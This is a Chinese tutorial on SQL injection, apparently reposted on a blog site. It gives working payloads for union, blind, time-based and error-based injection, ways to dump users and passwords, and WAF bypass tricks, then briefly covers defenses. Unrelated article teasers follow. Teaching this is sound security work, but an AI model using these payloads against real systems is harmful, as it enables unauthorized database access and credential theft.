【SQL注入】

SQL注入:通过可输入/修改sql参数实现攻击的过程

文章目录

        • 0x00 SQL注入漏洞原理
        • 0x01 前置知识
          • 1 SQL注入分类
          • 2 数据库知识
        • 0x02 是否存在SQL注入?
        • 0x03 不同SQL注入
          • 1. Union注入
          • 2. 盲注Blind
          • 3. base64注入
        • 0x04 SQL注入绕过技术
        • 0x05 SQL防注入

0x00 SQL注入漏洞原理

满足2条件:

​ 参数用户可控、参数带入数据库查询

0x01 前置知识
1 SQL注入分类
  • Union注入
  • Boolean
  • 报错
  • 盲注
2 数据库知识

mysql 5.0后1库3张表和字段:

Information_schma
表名:Information_schma.schemata

表名:Information_schma.TABLES       
		字段:TABLE_SCHEMA()TABLE_NAME()

表名:Information_schma.COLUMNS    
		字段:TABLE_SCHEMA()TABLE_NAME()BOLUMN_NAME(字段)

函数及注释:

  • limit函数:limit 0,1 :第0行开始,取1条记录

  • Database():当前网站使用的数据库

  • Version():当前MySQL版本

  • User():当前MySQL的用户

  • 注释符:# 、 – 、 /**/

  • 内联注释:

    /*!code*/  
    用来执行我们的sql语句
    示例:   Index.php?id=-15 /*!UNION#/ /*!SELECT*/ 1,2,3
    
0x02 是否存在SQL注入?
1
1'
1 and 1=1
1 and 1=2

"1 and 1=1"的Reply和1的一致,"1 and 1=2"和1的Reply和1的不一致,说明存在SQL注入。

0x03 不同SQL注入
1. Union注入

第一步:判断是否存在注入

原理:1和1and 1=1 返回结果一致
参考:如果order by也可执行的话,sql注入优先考虑 union注入

参考2:堆叠查询注入与union注入相似

#只是堆叠的是另一条查询语句
1' ;select if(substr(user(),1,1)='v',sleep(5),1) %23

union后续步骤

  1. 注入的sql语句中字段个数: order by 字段数
1' order by 1
  1. 回显字段的记录:
    注意:mysql联合查询每个 SELECT 语句的列数和对应位置的数据类型必须相同。
unsion select 1,2
示例:
SELECT first_name, last_name FROM users WHERE user_id = 1 union select 1,2
/*
结果为first_name, last_name和记录是1,2的记录联合查询,
我们要把1,2当作列使用, 解决:最好是同一张表的字段名(因为有相同行数)
所以在表查询中2位置可替换为 函数
直接查database()结果为 记录数的行数条的数据库名
*/
  1. 找指定记录
    当前数据库,当前库中表,当前表中字段,知道字段替换1,2名称
#当前数据库名
1' union select 1,database() # 
#当前库中表名
1' union select 1,table_name from information_schema.tables where table_schema=database() #
# 当前表字段
1' union select 1,column_name from information_schema.columns where table_name='users' #

查所需数据

#此时可以替换union select 1,22处位置 
1' union select user,password from users #
2. 盲注Blind

原理:回显为 是或否 及类似 方式
分类:

本人觉得如:报错注入(yes/no)、时间盲注(response时间)都可归为一种,但利用的方法不同。
只是利用了server的 response 或者 反应机制。

利用方法:

length(database())substr(database(),1,1)='d'
updatexml(1,concat(0x7e,(select user()),0x7e),1) 
sleep()benchmark()
	#如if(length(database())>1,sleep(5),1)

步骤前提:存在SQL注入

#本示例参数为规律性ID序号
1
1' and 1=1 #
1' and 1=2 #

步骤:
数据库名,表名,记录内容

#判断数据库名长度
1' and length(database()) >=1 #
#数据库名
1' and substr(database(),1,1)='d' #
	substr:截取第1个字符,返回1个
或 1' and ord(substr(database(),1,1))=115 #
/**
第2种时ASCII码的字符,ord函数转换
可以考虑用Burp爆破字典
**/
# 表名、字段,记录
# 每个表名,每个表名字符都需挨个检查。推荐字典爆破。
1' and substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1,1)='g' #


/**
表名,字段名知道后,依然是对 关键的记录 进行 字符判断
**/
1' and substr((select password from users where xx=xx),limit 0,1)1,1) #



3. base64注入

原理:发送请求message时参数通过 url 编码如base64编码方式。(%3d是base64编码的显著特征)
解决:只要知道特殊字符的base64编码和union注入即可。

利用场景:
 url + union 绕过WAF: 对参数ID的检查。


XFF注入

​ X-Forwarded-for:客户端真实IP。一个HTTP协议拓展头,

​ 可设置其值,127.0.0.1’ 1=1 # 其他类似union注入


0x04 SQL注入绕过技术
#判断是否存在SQL注入的步骤
1
1'
1 and 1=1
1 and 1=2
/**
当1'和1回显不一致,1 and 1=1通过且和1 的结果一致,说明存在SQL注入
但是1 and 1=1 ,和前两者的返回都不一样且报错,说明什么?

关键字被过滤:如and、or、order by、
思考:被谁过滤?关键字的过滤放置到WAF/前端/后端?

bypass绕过方式:

  • 关键字大小写绕过
    对关键字如and …改变字符大小写。如:改为:And尝试绕过。
  • 关键字双写绕过
    ​如关键字and被过滤,使用 anandd
  • 编码绕过
    服务器对URL解码一次,所以对URL全编码时编码2次,如只过滤关键字可只编码关键字
  • 内联注释绕过
    与mysql的内联注释符/!and/相关。
    如: id=1/*!and*/ 1=1



0x05 SQL防注入

防注入方式:

  • 过滤危险字符
    (如发现一些关键字(and、sleep等其他函数)则退出程序)
    ​ 注:一定程度可防止SQL注入,但仍然可以绕过

  • 预编译sql语句
    ​ (对数据库增删改查时不直接查询,而是使用占位符,对参数进行检查后,再进行语句)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/758963.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

构建现代医疗:互联网医院系统源码与电子处方小程序开发教学

本篇文章,笔者将探讨互联网医院系统的源码结构和电子处方小程序的开发,帮助读者更好地理解和掌握这些前沿技术。 一、互联网医院系统源码结构 互联网医院系统通常由多个模块组成,每个模块负责不同的功能。以下是一个典型的互联网医院系统的主…

【云原生】Prometheus 使用详解

目录 一、前言 二、服务监控概述 2.1 什么是微服务监控 2.2 微服务监控指标 2.3 微服务监控工具 三、Prometheus概述 3.1 Prometheus是什么 3.2 Prometheus 特点 3.3 Prometheus 架构图 3.3.1 Prometheus核心组件 3.3.2 Prometheus 工作流程 3.4 Prometheus 应用场景…

Linux 进程信号篇

文章目录 1. 生活中的信号2. 信号的概念3. 信号的产生3.1 系统调用3.2 软件条件3.2 异常3.3 Core和Term的区别 4. 信号的保存5. 信号的处理5.1 地址空间的进一步理解5.2 键盘输入数据的过程5.3 理解OS如何正常运行5.3.1 OS如何运行5.3.2 如何理解系统调用 5.4 内核态和用户态 6…

容器技术-docker4

一、docker资源限制 在使用 docker 运行容器时,一台主机上可能会运行几百个容器,这些容器虽然互相隔离,但是底层却使用着相同的 CPU、内存和磁盘资源。如果不对容器使用的资源进行限制,那么容器之间会互相影响,小的来说…

容器技术-docker2

容器化技术Docker Docker介绍 官网: docker.io docker.com 公司名称:原名dotCloud 14年改名为docker 容器产品:docker 16年已经被更名为Moby docker-hub docker.io docker容器历史 和虚拟机一样,容器技术也是一种资源隔…

为什么前端传了token,后端一直获取不到?一直报跨域错误?

这是我的前端代码 这是我的后端拦截器 那就需要了解一下 预检请求 对于非简单请求(如PUT、DELETE或包含自定义HTTP头的请求),浏览器会先发送一个OPTIONS请求到目标服务器,询问是否允许该跨域请求。这个过程称为预检请求。 当opt…

(超详细)数据结构——“栈”的深度解析

前言: 在前几章我们介绍了线性表的基本概念,也讲解了包括顺序表,单链表,双向链表等线性表,相信大家已经对线性表比较熟悉了,今天我们要实现线性表的另一种结构——栈。 1.栈的概念 栈:一种特殊…

熊猫烧香是什么?

熊猫烧香(Worm.WhBoy.cw)是一种由李俊制作的电脑病毒,于2006年底至2007年初在互联网上大规模爆发。这个病毒因其感染后的系统可执行文件图标会变成熊猫举着三根香的模样而得名。熊猫烧香病毒具有自动传播、自动感染硬盘的能力,以及…

动手学深度学习(Pytorch版)代码实践 -计算机视觉-39实战Kaggle比赛:狗的品种识别(ImageNet Dogs)

39实战Kaggle比赛:狗的品种识别(ImageNet Dogs) 比赛链接:Dog Breed Identification | Kaggle 1.导入包 import torch from torch import nn import collections import math import os import shutil import torchvision from…

x-file-storage一行代码进行文件上传,摆脱阿里云,腾讯云,华为云等不同云的学习,简单高效

问题: 不使用x-file-storage时如果使用某个云首先需要学习他的sdk,这样很麻烦,而x-file-storage集成了各种云的上传,只需要进行配置即可一行代码进行上传 使用 官方地址:X File Storage 一行代码将文件存储到本地、FTP、SFTP、…

【小沐学AI】Python实现语音识别(whisperX)

文章目录 1、简介1.1 whisper1.2 whisperX 2、安装2.1 安装cuda2.2 安装whisperX 结语 1、简介 1.1 whisper https://arxiv.org/pdf/2212.04356 https://github.com/openai/whisper Whisper 是一种通用语音识别模型。它是在各种音频的大型数据集上训练的,也是一个…

时间复杂度计算

要求算法的时间复杂度时,我们可以分析给定表达式 的阶。让我们来逐步分析: 分析阶的定义: 当我们说一个表达式的时间复杂度是 ( O(g(n)) ),我们指的是当 ( n ) 趋近无穷大时,表达式的增长率与 ( g(n) ) 的增长率相似。…

两数之和你会,三数之和你也会吗?o_O

前言 多少人梦想开始的地方,两数之和。 但是今天要聊的不是入门第一题,也没有面试官会考这一题吧…不会真有吧? 咳咳不管有没有,今天的猪脚是它的兄弟,三数之和,作为双指针经典题目之一,也是常…

SolidWorks强大的工程设计软件下载安装,实现更为高效的设计流程

结构分析:SolidWorks作为一款强大的工程设计软件,集成了有限元分析(FEA)工具,这一工具的运用在工程设计领域具有举足轻重的地位。FEA工具在SolidWorks中的集成,使得工程师们能够便捷地对零件和装配体进行精…

第三十八篇——复盘:如何把信息论学以致用?

目录 一、背景介绍二、思路&方案三、过程1.思维导图2.文章中经典的句子理解3.学习之后对于投资市场的理解4.通过这篇文章结合我知道的东西我能想到什么? 四、总结五、升华 一、背景介绍 信息论是一个好的学科,里面穿插的知识符合这个时代我们应该具…

STM32F1+HAL库+FreeTOTS学习2——STM32移植FreeRTOS

STM32F1HAL库FreeTOTS学习2——STM32移植FreeRTOS 获取FreeRTOS源码创建工程窥探源码移植 上期我们认识了FreeRTOS,对FreeRTOS有了个初步的认识,这一期我们来上手移植FreeRTOS到STM32上。 获取FreeRTOS源码 进入官网:https://www.freertos.o…

vue+go实现web端连接Linux终端

vuego实现web端连接Linux终端 实现效果 实现逻辑1——vue 依赖包 "xterm": "^5.3.0","xterm-addon-attach": "^0.9.0","xterm-addon-fit": "^0.8.0"样式和代码逻辑 <template><a-modalv-model:visib…

短视频矩阵系统:打造品牌影响力的新方式

一、短视频矩阵概念 短视频营销革命&#xff1a;一站式解决策略&#xff01;短视频矩阵系统是一款专为企业营销设计的高效工具&#xff0c;旨在通过整合和优化众多短视频平台资源&#xff0c;为企业呈现一个全面的短视频营销策略。该系统致力于协助企业以迅速且高效的方式制作…

【ARM】MCU和SOC的区别

【更多软件使用问题请点击亿道电子官方网站】 1、 文档目标 了解SOC芯片和MCU芯片的区别 2、 问题场景 用于了解SOC芯片和MCU芯片的区别&#xff0c;内部结构上的区别。 3、软硬件环境 1&#xff09;、软件版本&#xff1a;无 2&#xff09;、电脑环境&#xff1a;无 3&am…

MySQL高级-MVCC-原理分析(RC级别)

文章目录 1、RC隔离级别下&#xff0c;在事务中每一次执行快照读时生成ReadView2、先来看第一次快照读具体的读取过程&#xff1a;3、再来看第二次快照读具体的读取过程: 1、RC隔离级别下&#xff0c;在事务中每一次执行快照读时生成ReadView 我们就来分析事务5中&#xff0c;两…